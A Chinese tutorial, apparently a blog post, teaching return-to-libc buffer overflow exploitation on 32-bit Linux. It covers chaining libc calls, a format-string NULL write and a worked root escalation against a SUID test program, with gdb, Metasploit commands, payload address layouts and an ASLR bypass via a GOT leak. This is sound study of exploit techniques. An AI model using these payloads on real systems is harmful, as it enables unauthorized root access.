author:萬抽抽
r2libc技術是一種緩沖區溢出利用技術,主要用于克服常規緩沖區溢出漏洞利用技術中面臨的no stack executable限制(所以后續實驗還是需要關閉系統的ASLR,以及堆棧保護),比如PaX和ExecShield安全策略。該技術主要是通過覆蓋棧幀中保存的函數返回地址(eip),讓其定位到libc庫中的某個庫函數(如,system等),而不是直接定位到shellcode。然后通過在棧中精心構造該庫函數的參數,以便達到類似于執行shellcode的目的。
大致技術原理,如圖1-1所示:
圖1-1 r2libc技術原理
簡要概括如下:
1) 使用libc庫中system函數的地址覆蓋掉原本的返回地址;這樣原函數返回的時候會轉而調用system函數。
獲取system函數的返回地址很簡單,只需要使用gdb調試目標程序,在main函數下斷點,程序運行中斷在斷點處后,使用p system
命令即可:
#!bash
>>> p system
$1 = {<text variable, no debug info>} 0xb7e56190 <__libc_system>
該方法可以獲取任意libc函數的地址。
2) 設置system函數返回后的地址,以及為system函數構造我們預定的參數。
難點主要在第2步中system函數相關的棧幀結構的安排上,比如為什么Filler就是Return Address After system,為什么傳遞給system的參數緊跟在Fillter之后?這就涉及到函數的調用規則。我們知道函數調用在匯編中通過call指令實現,而函數返回則通過ret指令實現。Call指令可以實現多種方式的函數跳轉,這里為了簡便,暫且只考慮跳轉地址在內存中的call指令的實現
CPU在執行call指令時需要進行兩步操作:
push IP
;jmp dword ptr 內存單元地址
。CPU在執行ret指令時只需要恢復IP寄存器即可,因此ret指令相當于pop IP
。
因此對于正常函數調用而言,其棧幀結構如下圖1-2所示:
圖1-2 函數調用棧幀結構圖
但是由于我們使用system的函數地址替換了原本的IP寄存器,強制執行system函數,破壞了原程序的棧幀分配和釋放策略,所以后續的操作必須基于這個被破壞的棧幀結構實現。
首先,解釋為何Filler是函數的返回地址。這需要我們查看system函數的匯編實現。通過 gdb調試得到如下信息:
圖1-3 system函數匯編實現
正常情況下,我們是通過call指令進行函數調用的,因此在進入到system函數之前,call指令已經通過push IP將其返回地址push到棧幀中了,所以在正常情況下ret指令pop到 IP的數據就是之前call指令push到棧幀的數據,也就是說兩者是成對的。但是!!!在我們的漏洞利用中,直接通過覆蓋IP地址跳轉到了system函數,而并沒有經過call調用,也即是沒有push IP的操作,但是system函數卻照常進行了ret指令的pop IP操作。那么這個ret指令pop到IP的是哪一處地址的數據呢?答案就是Filler!
在程序執行到圖1-1中的Saved EIP(即system函數地址)的時候,此時的ESP指向了Filler,然后就轉而執行system函數。通過分析system函數的匯編實現可以看出:該函數中對ESP的操作都是成對出現的,如push %ebx
與pop %ebx
等。所以當執行到ret指令時,ESP還是指向Filler,也就是說ret指令內涵的pop IP操作就是將Filler的數據pop到IP寄存器中!
其實通過2.1節的分析,答案已經很明了了。在正常的函數調用中,其棧幀分布如圖1-2所示,但是在此漏洞利用中,由于我們強制更改了調用過程,省去了call調用的push IP步驟,因此就造成了Filler變成了EIP。但是,需要注意的是,我們也僅僅是省去了push IP這一步而已,其他步驟與正常函數調用并無區別,所以如果我們將Filler看做是保存的返回地址EIP的話,那么它“之后(相對棧增長方向而言)”的數據就自然而然變成了system函數的參數了。
下面唯一的問題就是如何在棧中構造”/bin/sh”參數了。當然,這里用“構造”一詞并不準確,“借用”更合適——我們從內存中搜尋此字符串,然后將該字符串在內存中的起始地址賦值到Filler之后即可。那么如何獲取到這個字符串的地址呢?我們知道,LINUX的SHELL環境變量的值一般就是“/bin/sh”,所以我們可以通過gdb調試器,暴力搜索%esp
寄存器之后開始的n個字符串,方法如下圖1-4所示:
圖1-4 GDB暴力搜索字符串
但是這種方法比較“非黑客范”,個人覺得gray hat hacking第四版中提及的方法更犀利,該方法先通過dlopen和dlsym獲取system之類的函數的地址,再借助于setjmp與longjmp函數以及信號量機制,以system函數的地址為起點從前、后兩個方向搜索字符串,詳情見書本LAB11-5。
還有一種更簡單的方法,詳細步驟如下圖1-5所示:
圖1-5 構造“/bin/sh”參數方法三
只要我們將CHOUCHOU_SH
定義為“/bin/sh”即可。可以用這種方式借助環境變量構造任意的字符串。此方法會在后文中大量使用。這里gtenv的源代碼如下:
#!cpp
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
char *addr;
addr = getenv(argv[1]);
printf("%s is located at %p\n", argv[1], addr);
return 0;
}
構造完參數之后,return to libc利用就算告一段落了,但是該方案是基于system函數實現的,且在一次攻擊中只執行一個libc函數,局限性較大,另外system函數有一個致命的缺陷就是:有時候我們并不能利用它成功獲取root權限。
因為system函數本質上就是通過fork一個子進程,然后該子進程通過系統自帶的sh執行system的命令。而在某些系統中,在啟動新進程執行sh命令的時候會將它的特權給剔除掉(如果/bin/sh指向zsh,則不會進行權限降低;如果/bin/sh指向bash則會進行權限降低),這樣我們system就無法獲取root權限了。
為了解決這個問題,高手們又研發了一種更高級的攻擊技術——基于libc的函數調用鏈攻擊。
回顧圖1-1,我們知道system函數執行后,其返回地址是Filler,因此如果我們將需要執行的第二個libc函數的地址放置到Filler上,那么不就構造了一個函數調用鏈么?詳情見圖2-1:
圖2-1基于libc的函數調用鏈攻擊原理圖
前面說到,單純通過system函數不一定能夠獲取到root權限,但是,如果我們在執行system函數之前,先通過setuid(0)函數將正在運行的程序的SET-UID提升至root權限,然后再通過system函數執行sh就一定能夠獲取root權限了(關于為什么通過setuid(0)設置SET-UID為root權限之后,system執行sh就能獲取root權限,超出了本文的范疇,大家可自行google)。
前文提到,使用system函數必須結合setuid(0)函數才能確保獲取root權限,這種處理相對麻煩,好在我們可以直接使用execl函數解決(system是通過fork子進程執行shell,而execl是直接在當前進程中執行shell)。
Execl函數的標準用法如下:Execl("/bin/sh","/bin/sh", NULL)
。
這引入了一個新的問題——如何構造‘NULL’參數。因為在輸入參數中是不能夾雜NULL字節的,否則會截斷我們構造的攻擊buffer。所以我們得采用迂回的辦法——借助格式化字符串漏洞,在漏洞程序進程的堆棧中構造一個‘NULL’參數,而不是直接輸入。
格式化字符串漏洞主要是利用printf函數的format參數進行攻擊,這里我們需要構造一個特定的format參數以實現在“合適的位置”寫入’NULL’參數。
很自然地,我們會想到利用格式化字符串中的‘%#$n
’。這里的“#
”的具體數值需要根據NULL參數在stack中的offset加以確定。具體的構造方式在后文詳細介紹。
根據我們的攻擊邏輯,我們需要完成如下幾步:
因此,我們需要構造如圖3-1所示的stack數據:
圖3-1 構造實施攻擊的棧結構
簡要概括上圖的執行邏輯:
printf(“%5$n”)
函數將Addr of HERE處字節設置為NULL;execl(“/bin/sh”, “/bin/sh”, NULL)
函數;這里我們詳細探討1、2步的實現原理。
一、為什么用“%5$n”作為參數?
因為Addr of HERE的地址剛好離Addr of ‘%5$n’有5個指針的距離。根據表3-1 Blaess, Grenier, and Raynal提出的magic formula中最后一行的推導公式可以得出以上結論。
表3-1 magic formula
公式的詳細推導見:
http://www.cgsecurity.org/Articles/SecProg/Art4/
另外,提及一點注意事項:在Linux shell中,如果使用雙引號” ”
包含字符串的話,就需要在’$
’之前加上轉義字符‘\’
,如果使用單引號’ ’
包含字符串的話,就不需要額外添加轉義字符’\’
了。詳情見:
http://lspgyy.blog.51cto.com/5264172/1282107 (值得一看!)
二、POP/RET指令的作用
為什么它能夠讓程序正確無誤地跳轉到execl函數并執行呢?首先我們需要知道這里的POP/RET指令是指兩條連續的指令:
#!bash
pop %ebp
ret
結合1.1章節的分析,可以知道當執行完printf函數之后,此時的esp指針指向圖3-1中的Add of ‘%5$n’處,如圖3-2所示:
圖3-2 執行完printf函數后的ESP指針位置
現在開始執行pop %ebp
指令,將Addr of ‘%5$n’放入ebp寄存器中;然后再執行ret
指令(即pop IP
),將Addr of execl放入IP寄存器中,這樣程序下一步就會轉而執行execl函數了,而此時的ESP指針指向Addr of exit,如下圖3-3所示:
圖3-3 開始執行execl函數之前ESP指針位置
那么我們如何在目標進程的內存中找到這個POP/RET指令呢?這里需要借助metasploits的msfelfscan程序,假設目標程序為target,那么可以通過如下命令獲取:
#!bash
msfelfscan –p –D target
-p, --poppopret,表示Search for pop+pop+ret combinations;
-D, --disasm,表示Disassemble the bytes at this address;
輸出結果如下:
#!bash
0x080484ae pop edi; pop ebp; ret
0x080484ae pop edi
0x080484af pop ebp
0x080484b0 ret
現在我們就成功獲取了目標程序中POP/RET指令的地址了。
至此利用execl的整個攻擊邏輯和關鍵技術點,就介紹完畢了,下面我們找個例子進行實際操作。
含有緩沖區溢出漏洞的程序源代碼如下:
#!cpp
/*vuln.c*/
#include <stdio.h>
/*small buffer vuln prog*/
int main(int argc, char* argv[]) {
char buffer[7];
strcpy(buffer, argv[1]);
return 0;
}
我們關閉系統的ASLR保護機制之后,再使用root用戶編譯:
#!bash
# gcc -fno-stack-protector -o vuln vuln.c
然后添加SET-UID:# chmod u+s vuln
然后退出root用戶,切換到普通用戶模式:# exit
現在我們可以開始以普通用戶權限進行提權攻擊了!整個攻擊工作可以分為兩個大的步驟:1)確定漏洞buffer的大小;2)開始構建攻擊buffer。
為方便快速確定大小,我們可以借助metasploits提供的pattern_create.rb和pattern_offset腳本。前者用于生成特殊的輸入數據,后者用于幫助確定指定數據在該輸入數據中的偏移值。
pattern_create.rb的使用方式如下:
#!bash
Usage: pattern_create.rb length [set a] [set b] [set c]
這里我們使用pattern_create.rb 250生成250字節的輸入數據:
#!bash
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
然后使用gdb調試目標程序:
#!bash
[email protected]:~/security/flaws/return2libc$ gdb ./vuln -q
Reading symbols from ./vuln...(no debugging symbols found)...done.
>>> r Aa0……i2A(省略部分輸入數據)
回車之后,gdb輸出如下錯誤數據:
Program received signal SIGSEGV, Segmentation fault.
0x61413661 in ?? ()
Traceback (most recent call last):
File "<string>", line 701, in lines
File "<string>", line 116, in run
gdb.error: No function contains program counter for selected frame.
顯然,目標程序去執行0x61413661的地址時發生錯誤,這個地址就是被我們使用攻擊buffer覆蓋后的EIP地址,現在我們使用pattern_offset.rb查找這個地址在攻擊buffer中的位置:
#!bash
[email protected]:~/security/flaws/return2libc$ pattern_offset.rb 0x61413661 250
[*] Exact match at offset 19
好了,現在我們已經確定了用于覆蓋的EIP的數據在攻擊buffer中的偏移值為19,下面就開始精心構造攻擊buffer了。
從前文的分析知道,要使用execl完成基于ret2libc的root提權攻擊,我們需要實現搜集如下數據信息:
POP/RET 指令塊的地址。
Printf 0xb7e63280 Execl 0xb7ecbec0 Exit 0xb7e491e0 ‘%5$n’ 0xbffff2b6 ‘/bin/sh’ 0xbffffa6e POP/RET 0x080484af Addr of NULL 0xbfffefc9+18+4*7=0xbfffeff7
獲取了這些數據之后,將它們各自安插到圖3-1的合適位置即可構造對應的攻擊buffer。
19字節overflow| 0xb7e63280 | 0x080484af | 0xbffff284 |
0xb7ecbec0 | 0xb7e491e0 | 0xbffffeea | 0xbffffeea | 0xbfffeff7
鑒于ASLR機制只是將既然stack,heap以及共享庫文件的起始地址進行了隨機化,而文件內部各部分數據之間的偏移值卻是固定不變的,所以攻擊的整體思路如下:
先泄漏出libc.so某些函數在內存中的地址,然后再利用泄漏出的函數地址根據偏移量計算出system()函數等其他函數的地址,字符串地址類似。
那么怎么才能泄露出Libc庫文件的地址呢?考慮到程序本身在內存中的地址并不是隨機的,所以只要將返回值設置到程序本身所處的內存段就可以了,當然,前提是我們必須獲取目標系統中的libc.so庫文件。Linux內存隨機化分布圖如下圖所示:
整體攻擊思路:
1.觀察目標程序,查看其本身使用的、處于Libc庫文件的庫函數,常見的函數有write, read等;
觀察方法很簡單:
1) 首先使用objdump –R
命令查看目標文件的動態重定位項,也就是常說的GOT表項:
2) 然后使用objdump –j .glt –d
命令反編譯目標文件的plt表:
#!bash
Disassembly of section .plt:
08048300 <[email protected]>:
8048300: ff 35 04 a0 04 08 pushl 0x804a004
8048306: ff 25 08 a0 04 08 jmp *0x804a008
804830c: 00 00 add %al,(%eax)
...
08048310 <[email protected]>:
8048310: ff 25 0c a0 04 08 jmp *0x804a00c
8048316: 68 00 00 00 00 push $0x0
804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30>
08048320 <[email protected]>:
8048320: ff 25 10 a0 04 08 jmp *0x804a010
8048326: 68 08 00 00 00 push $0x8
804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30>
08048330 <[email protected]>:
8048330: ff 25 14 a0 04 08 jmp *0x804a014
8048336: 68 10 00 00 00 push $0x10
804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x30>
08048340 <[email protected]>:
8048340: ff 25 18 a0 04 08 jmp *0x804a018
8048346: 68 18 00 00 00 push $0x18
804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
熟悉linux中elf文件的動態重定位機制都知道,由于linux采用懶綁定機制,所以對于GOT表中的動態重定位符號,在第一次調用的時候got表項會定位到其對應的plt表項中,再由該plt表項轉到真正的函數處。第一次執行完之后,系統會將此時GOT表項的位置加以修改,直接指向真正的函數處,而不再指向之前的plt表項。
2.根據第1步的結果確定想要獲取的屬于Libc的某個函數的地址,這里我們使用write函數。獲取方法并不難,從上面對linux動態重定位機制的介紹可以知道,我們只需要按照如下方式做就可以了:首先構造payload執行目標文件的write函數(怎么執行呢?[email protected]),[email protected],[email protected]的write函數的地址,所以我們再使用write函數打印出該地址即可:payload構造如下:
即執行write(STDOUT, &[email protected], 4)
,這樣就會將libc中真正的write函數地址打印到標準輸出中。這里的vul_func地址可以通過objdump –d
獲取,當然使用IDA更方便。
3.獲取了write的真正地址之后,只需要根據libc中write函數與system函數的相對偏移地址就可以計算出system函數真正的地址,計算公式如下:
#!bash
system_real_addr = write_real_addr – ( write_addr_in_libc – system_addr_in_libc)
字符串的地址獲取方式類似,這里不再細說。
4.執行system(‘/bin/sh’)
,payload構造如下:
介紹setuid的兩篇好文: